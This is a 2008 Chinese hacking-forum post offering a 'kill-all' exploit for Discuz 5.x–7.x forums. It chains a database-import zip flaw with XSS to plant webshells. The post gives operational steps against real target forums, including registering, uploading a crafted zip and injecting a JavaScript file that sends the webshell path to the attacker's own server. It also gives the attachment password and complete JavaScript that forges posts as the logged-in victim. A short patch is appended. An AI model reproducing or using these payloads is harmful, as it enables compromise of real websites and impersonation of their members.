服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

dirtysea 发表于 2008-12-25 21:58:15

通杀Discuz 5.x 6.x 7.x EXP--database XSS

受影响版本<FONT color=#0000ff><STRONG>Discuz 5.0 _ 5.5 _ 6.0 _ 6.1 _ 7.0 gbk+utf+big5</STRONG></FONT><BR><BR><BR>-----------------------------------------------------------<FONT color=#ff0000>前言</FONT>-------------------------------------------------------------------------<BR><BR>最近DZ漏洞多多,而且都比较有趣.上次天阳公布的后台修改配置信息的漏洞,因为DZ6.1以后版本都默认补了,相信不少小黑很失望.但是最近,Superhei&amp;ring04h又爆出了一个后台database.inc.php的漏洞,该洞目前为止没补丁.一个XSS点或者FLASH-XSS,CRSF,所有DZ版本通杀.<BR><BR><FONT color=#000080><STRONG>这个漏洞本身需要后台权限,怎么才能以普通会员身份所用?</STRONG></FONT><BR>分析过程中幸得<STRONG><FONT color=#0000ff>Superhei</FONT></STRONG>提点.加快了进度.在此感谢.<BR><BR><BR>本帖受TIM邀请发布~~需要注意的一点是这个EXP是非常有争对和目标性的,一般是做有争对性的攻击时使用.我非常建议你先好好看看本文和相关的3个帖子.用之前需要勘察对方论坛的版本,上传目录是否更改过,存在哪些XSS问题.然后在把这个EXP做相应修改,再开始使用.这样只要你的方法对路,自然能获得其WEBSHELL.<BR>附件密码回复可见.回帖的朋友,再送你一个意外惊喜.这里只做技术研究,点到为止,同时为大家附上修补方法,回复可见!<BR><BR>本论坛相关的三篇文章:<BR><A href="http://bbs.tian6.com/thread-8945-1-1.html" target=_blank><FONT color=#ff0000>[已更新]Discuz XSS得webshell</FONT></A><BR><A href="http://bbs.tian6.com/thread-9019-1-1.html" target=_blank target=_blank><FONT color=#ff0000>配合Discuz得shell-Flash XSS</FONT><BR><A href="http://bbs.tian6.com/thread-9271-1-1.html" target=_blank target=_blank><FONT color=#ff0000>立刻送上一个DZ XSS.哈哈.</FONT><BR><BR><BR><BR><BR>-------------------------------------------------<FONT color=#ff0000>原漏洞详细解析</FONT>-----------------------------------------------------------------------------<BR>这里引用该漏洞原来的介绍:<BR><BR>
<DIV class=msgbody>
<DIV class=msgheader>
<DIV class=right><A class=smalltxt href="http://bbs.tian6.com/thread-9218-1-1.html###"></A> <A class=smalltxt href="http://bbs.tian6.com/thread-9218-1-1.html###">[ <SPAN>-</SPAN> ]</A></DIV>CODE:</DIV>
<DIV class=msgborder>Discuz! admin\database.inc.php get-webshell bug<BR><BR>author: ring04h<BR>team:<A HREF="http://www.80vul.com" TARGET=_blank>http://www.80vul.com</A><BR><BR>[该漏洞由ring04h发现并且投递,thx]<BR>由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到webshell.<BR><BR>一 分析<BR><BR>在文件admin\database.inc.php里代码:<BR><BR>.....<BR>elseif($operation == 'importzip') {<BR><BR>require_once DISCUZ_ROOT.'admin/zip.func.php';<BR>$unzip = new SimpleUnzip();<BR>$unzip-&gt;ReadFile($datafile_server);<BR>if($unzip-&gt;Count() == 0 || $unzip-&gt;GetError(0) != 0 || !preg_match("/\.sql$/i", $importfile = $unzip-&gt;GetName(0))) {<BR>cpmsg('database_import_file_illegal', '', 'error');<BR>}<BR><BR>$identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip-&gt;GetData(0), 0, 256))));<BR>$confirm = !empty($confirm) ? 1 : 0;<BR>if(!$confirm &amp;&amp; $identify != $version) {<BR>cpmsg('database_import_confirm', 'admincp.php?action=database&amp;operation=importzip&amp;datafile_server=$datafile_server&amp;importsubmit=yes&amp;confirm=yes', 'form');<BR>}<BR><BR>$sqlfilecount = 0;<BR>foreach($unzip-&gt;Entries as $entry) {<BR>if(preg_match("/\.sql$/i", $entry-&gt;Name)) {<BR>$fp = fopen('./forumdata/'.$backupdir.'/'.$entry-&gt;Name, 'w');<BR>fwrite($fp, $entry-&gt;Data);<BR>fclose($fp);<BR>$sqlfilecount++;<BR>}<BR>}<BR>......<BR><BR>注意2点<BR>1. preg_match("/\.sql$/i", $importfile = $unzip-&gt;GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.<BR>2. $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip-&gt;GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]<BR><BR># Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==<BR># &lt;?phpinfo();?&gt;<BR># &lt;?exit();?&gt;<BR># Discuz! Multi-Volume Data Dump Vol.1<BR># Version: Discuz! 6.1.0<BR># Time: 2008-11-27 11:38<BR># Type: discuz<BR># Table Prefix: cdb_<BR><BR>二 利用<BR><BR>提交:<BR><BR>&lt;6.0 :admincp.php?action=importzip&amp;datafile_server=./附件路径/附件名.zip&amp;importsubmit=yes<BR>=6.1 :admincp.php?action=database&amp;operation=importzip&amp;datafile_server=./附件路径/附件名称.zip&amp;importsubmit=yes&amp;frames=yes<BR><BR>三 补丁<BR><BR>缺</DIV></DIV><BR>漏洞起因很清楚了,疏忽大意是安全最大的敌人.<BR><BR><BR><BR><BR>------------------------------------------------<FONT color=#ff0000>大至XSS广泛利用原理</FONT>---------------------------------------------------------------------<BR>很简单,还是XSS等延伸.<BR><BR>XSS跳到JS,JS获得管理员HASH,模拟POST+GET提交这个备份数据库解压缩工作.这里关键主要两个:<BR>一是上传后的物理路径如何获得.<BR>二是备份后的路径如何获得.<BR><BR>一采用读取后台管理信息取得.<BR>二通过geturl发送到外部文件中去.<BR><BR>其他的所有技术细节,在上面两篇文章都有说过.欢迎大家回去看看.<BR><BR><BR><BR><BR>-------------------------------------------------------<FONT color=#ff0000>广泛利用及测试办法</FONT>---------------------------------------------------------------------<BR>附件提供3个附件,分别争对<FONT color=#0000ff>DZ 6.0 6.1 7.0</FONT>三个版本.其他版本和这三个版本的差别主要在数据库导出的文件版本不同,还有一些很细微的小差异,我就不弄了.你有需要的话,自己看前面的帖子,搞明白怎么回事,就可以自己改了.<BR><BR>每个附件里面有3个文件,一个PHP,一个JS,一个ZIP.<FONT color=#000080><STRONG>JS文件里面要修改1个小地方,里面都有说明.这里就不多说了.</STRONG></FONT><BR>racle.php要放到你自己的空间里,要支持PHP的空间.这个文件当管理员中招以后,会在同目录位置写出个listdewebshell.txt,里面是你的WEBSHELL所在位置.<BR>racle.js是要XSS的JS文件.放哪里都可以.<BR><A href="mailto:racle2@tian6.zip" target=_blank>racle2@tian6.zip</A>是你要上传到该论坛的压缩文件.<BR><BR>利用具体步骤为:找到目标论坛,注册一个用户,然后上传一个racle2@tian6.zip.然后把PHP放在你的空间,把JS也放好,然后在目标论坛XSS这个racle.js,然后就等.一旦PHP文件同目录下出现了listdewebshell.txt,你就可以偷笑了.<BR><BR><BR>测试具体步骤为:本地搭建任一版本DZ,随便选一个PHP,在最前面加上&lt;script src=racle.js&gt;&lt;/script&gt;,同时racle.js,racle.php放在该PHP同目录下,进入论坛,点击包含JS的PHP文件,即产生listdewebshell.txt.<BR><BR><BR>-------------------------------------------------------<FONT color=#ff0000>注意事项</FONT>---------------------------------------------------------------------<BR>目前该漏洞属于通杀,也就是管理员中了你的XSS,就有WEBSHELL.DZ官网也如此.<BR>但是有几个原则问题要说明一下:<BR><BR>首先是对方论坛的上传路径,上传文件目录什么的,要求没有改过.一般99%都没改过.改过也不是没办法,你先上传个图片,看看对方的物理路径是什么,然后改改文件就PASS了.<BR><BR>其次是你在别人论坛注册的用户名不要上传别的文件,只上传一次相应的ZIP.<BR><BR>然后是这几个ZIP文件我不保证也能用在别人的版本上,按道理是没问题的.这几个ZIP就是数据库备份出来的SQL文件的修改压缩版本.你不妨打开这些ZIP文件里面的SQL文件看看就知道我改了什么.<BR><BR>如果你使用出现什么bugs,欢迎回贴告诉我.能解决就解决掉~~<BR><BR><BR><BR>-----------------------------------------------<FONT color=#ff0000>解压密码及意外惊喜</FONT>----------------------------------------------------------------<BR><BR><SPAN class=bold>以下内容跟帖回复才能看到</SPAN><BR>==============================<BR><BR>密码为:<FONT color=#ff0000>tian6.comismydude</FONT><BR><BR>既然你回帖了,就再另外送你一个XSS,冒充论坛任意成员在任意版块发任何帖的JS.纯属娱乐,希望大家不要捣乱.转帖也要注明出处.racle@tian6.com.效果也是通杀所有DZ论坛版本.这个是6.1版本的.不同版本有很小差异,自己改改就可以了.<BR><BR>
<DIV class=msgbody>
<DIV class=msgheader>
<DIV class=right><A class=smalltxt href="http://bbs.tian6.com/thread-9218-1-1.html###"></A> <A class=smalltxt href="http://bbs.tian6.com/thread-9218-1-1.html###">[ <SPAN>-</SPAN> ]</A></DIV>CODE:</DIV>
<DIV class=msgborder>var url="http://论坛地址/"; <BR>var subject="what a funny subject~~^^"; //帖子标题<BR>var contenu="what is racle?"; //帖子内容<BR>var channelid="2";想要对方发在版块的ID.<BR><BR>var request = false;<BR>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(window.XMLHttpRequest) {<BR>&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; request = new XMLHttpRequest();<BR>&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; if(request.overrideMimeType) {<BR>&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; request.overrideMimeType('text/xml');<BR>&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; }<BR>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } else if(window.ActiveXObject) {<BR>&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];<BR>&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; for(var i=0; i&lt;versions.length; i++) {<BR>&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; try {<BR>&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; request = new ActiveXObject(versions);<BR>&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; } catch(e) {}<BR>&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; }<BR>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<BR>xmlHttpReq=request;<BR>/*hash*/<BR><BR>xmlHttpReq.open("GET", url+"memcp.php", false);<BR>xmlHttpReq.send(null);<BR>var resource = xmlHttpReq.responseText;<BR>var numero = resource.search(/formhash/);<BR>var formhash=encodeURIComponent(resource.substr(numero+9,8));<BR><BR>var post=decodeURI("formhash="+formhash+"&amp;frombbs=1&amp;subject="+subject+"&amp;posteditor_mediatyperadio=on&amp;message="+contenu+"&amp;attach[]=&amp;filename===&amp;localid[]=&amp;attachperm[]=0&amp;attachprice[]=0&amp;attachdesc[]=&amp;attach[]=&amp;filename===&amp;localid[]=1&amp;attachperm[]=0&amp;attachprice[]=0&amp;attachdesc[]=&amp;tags=&amp;readperm=0&amp;price=0&amp;iconid=0&amp;wysiwyg=0");<BR>xmlHttpReq.open("POST",url+"post.php?action=newthread&amp;fid="+channelid+"&amp;extra=page%3D1&amp;topicsubmit=yes",false);<BR>xmlHttpReq.setRequestHeader("Referer", url);<BR>xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");<BR>xmlHttpReq.setRequestHeader("content-length",post.length); <BR>xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");<BR>xmlHttpReq.send(post);</DIV></DIV><BR>附上database.inc.php漏洞修补办法:<BR><BR>
<DIV class=msgbody>
<DIV class=msgheader>
<DIV class=right><A class=smalltxt href="http://bbs.tian6.com/thread-9218-1-1.html###"></A> <A class=smalltxt href="http://bbs.tian6.com/thread-9218-1-1.html###">[ <SPAN>-</SPAN> ]</A></DIV>CODE:</DIV>
<DIV class=msgborder>admin\database.inc.php<BR><BR>搜索$sqlfilecount = 0;,找到<BR>$sqlfilecount = 0;<BR>foreach($unzip-&gt;Entries as $entry) {<BR>if(preg_match("/\.sql$/i", $entry-&gt;Name)) {<BR>$fp = fopen('./forumdata/'.$backupdir.'/'.$entry-&gt;Name, 'w');<BR>fwrite($fp, $entry-&gt;Data);<BR>fclose($fp);<BR>$sqlfilecount++;<BR><BR>改成<BR>$sqlfilecount = 0;<BR>foreach($unzip-&gt;Entries as $entry) {<BR>if(preg_match("/\.sql$/i", $entry-&gt;Name)) {<BR>$fp = fopen('./forumdata/'.$backupdir.'/'.$entry-&gt;Name, 'w');<BR>&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; fwrite($fp, '&lt;?php exit;?&gt;');<BR>fwrite($fp, $entry-&gt;Data);<BR>fclose($fp);<BR>$sqlfilecount++;</DIV></DIV><BR><BR><BR>==============================<BR>

新疆人胡胡 发表于 2006-6-15 23:33:15

re:通杀Discuz 5.x 6.x 7.x EXP--database XSS

<A class=a03 href="http://www.dirtysea.com/bbs/main.asp?layer_1=A_4">灌水闲聊讨论区</A>好不好呀??????
页: [1]
查看完整版本: 通杀Discuz 5.x 6.x 7.x EXP--database XSS